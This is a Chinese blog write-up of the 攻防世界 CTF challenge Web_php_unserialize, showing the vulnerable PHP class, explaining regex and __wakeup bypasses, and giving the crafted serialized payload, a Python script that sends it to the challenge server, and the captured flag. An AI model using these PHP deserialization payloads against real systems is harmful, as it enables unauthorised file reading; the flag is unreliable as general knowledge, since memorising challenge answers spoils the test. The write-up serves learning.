当前位置: 首页 > news >正文

【web | CTF】攻防世界 Web_php_unserialize

天命:这条反序列化题目也是比较特别,里面的漏洞知识点,在现在的php都被修复了

天命:而且这次反序列化的字符串数量跟其他题目不一样

 <?php 
class Demo { // 初始化给变量内容,也就是当前文件,高亮显示出来private $file = 'index.php';// 初始化触发函数:把我们输入的东西放入属性变量里,就是我们反序列化的时候输入的东西public function __construct($file) { $this->file = $file; }// 销毁时候触发,相当于是打印flag文件出来function __destruct() { echo @highlight_file($this->file, true); }// 这个方法不会触发,估计是旧版本的php,满足某些情况所以没有触发// 纯碎用来吓人,我还研究了一晚上如何让  fl4g.php == index.php// fl4g.php == index.php,就算是弱比较也是不可能相等的function __wakeup() { if ($this->file != 'index.php') { //the secret is in the fl4g.php  // 直接访问是空气$this->file = 'index.php'; } } 
}
if (isset($_GET['var'])) { $var = base64_decode($_GET['var']); // 即是重点,也是难点,更是无用的点// 现在版本的php都已经修复了if (preg_match('/[oc]:\d+:/i', $var)) { die('stop hacking!'); } else {@unserialize($var); } 
} else { highlight_file("index.php"); 
} 
?>

坑点:__wakeup函数可以忽略,根本不会触发,

麻痹研究了我一晚上如何才能让  fl4g.php == index.php 

最后结论:就算是弱比较,也不可能相等,没有其他办法

所以只需要绕过正则表达式即可,不会正则表达式自己去学习

既不简单,也不难,我也学了几天才算比较掌握
 

【绕过点一】绕过正则,在O:4: 改成 O:+4: 就可以了

多一个+号(具体原理也不清楚,反正当是刷经验了,上古版本的php才有的漏洞)

【绕过点二】绕过 __wakeup函数,把反序列化中的内容数量,从1改成2即可

至少很大概率是这样绕过,看别人wp讲的

大概意思应该是当反序列化的  属性变量数  大于  当前类的属性变量数 的时候,就什么安全性因素,就不触发

【绕过点三】加上\00

变量名:Demofile 变成  \00Demo\00, 字符个数+2就行:s:10:"\00Demo\00file"

这里可能是因为 private 的原因,所以是+2

其他题目是protected,就是+3

也不确定是不是肯定,做的反序列化题目还不够多

【最终改变】

O:4:"Demo":1:{s:10:"Demofile";s:3:"aaa";}

O:+4:"Demo":2:{s:10:"\00Demo\00file";s:8:"fl4g.php";}

写上测试脚本

import requests,base64# 两个payload都可以
str = 'O:+4:"Demo":2:{s:10:"\x00Demo\x00file";s:8:"fl4g.php";}'
str = 'O:+4:"Demo":2:{s:10:"\00Demo\00file";s:8:"fl4g.php";}'# 编码
base64_str = base64.b64encode(str.encode('utf-8')).decode('utf-8')# 发送请求
res = requests.get('http://61.147.171.105:56675?var='+base64_str)
if "flag" in res.text:print("成功了")

base64:TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

ctf{b17bd4c7-34c9-4526-8fa8-a0794a197013}

http://www.lryc.cn/news/306515.html

相关文章:

  • Vue3中的select 的option是多余的?
  • 考研408深度分析+全年规划
  • 【算法笔记】ch01_01_0771 宝石与石头
  • jQuery瀑布流画廊,瀑布流动态加载
  • 玩转ChatGPT:参考文献速查
  • [设计模式Java实现附plantuml源码~行为型]算法的封装与切换——策略模式
  • ​【C语言】长篇详解,字符系列篇3-----strstr,strtok,strerror字符串函数的使用【图文详解​】
  • 如何实现一个K8S DevicePlugin?
  • Android LruCache源码分析
  • 如何使用Inno Setup制作Unity构建程序的Windows安装程序
  • linux 面试题
  • 嵌入式中逻辑分析仪基本操作方法
  • ONLYOFFICE 桌面编辑器 v8.0 更新内容详细攻略
  • 2024-2-22 作业
  • 2.1 RK3399项目开发实录-升级固件介绍(物联技术666)
  • Uniapp + VUE3.0 实现双向滑块视频裁剪效果
  • 【算法小讲堂】#1 贪心算法
  • 判断当前shell版本
  • 如何实现两个电脑之间通过以太网(网线)实现文件互传
  • Jenkins 中部署Nodejs插件并使用,并构建前端项目(3)
  • VUE为什么有的属性要加冒号
  • 微信小程序 --- wx.request网络请求封装
  • 通义千问Qwen-7B-Chat Windows本地部署教程-详细认真版
  • 探索C语言位段的秘密
  • 数据库-数据库设计-社交关系
  • YOLO算法改进Backbone系列之:EfficientViT
  • JANGOW: 1.0.1
  • Elasticsearch 创建index库 timeout
  • 2024最新可用免费天气预报API接口
  • 【AIGC】开源声音克隆GPT-SoVITS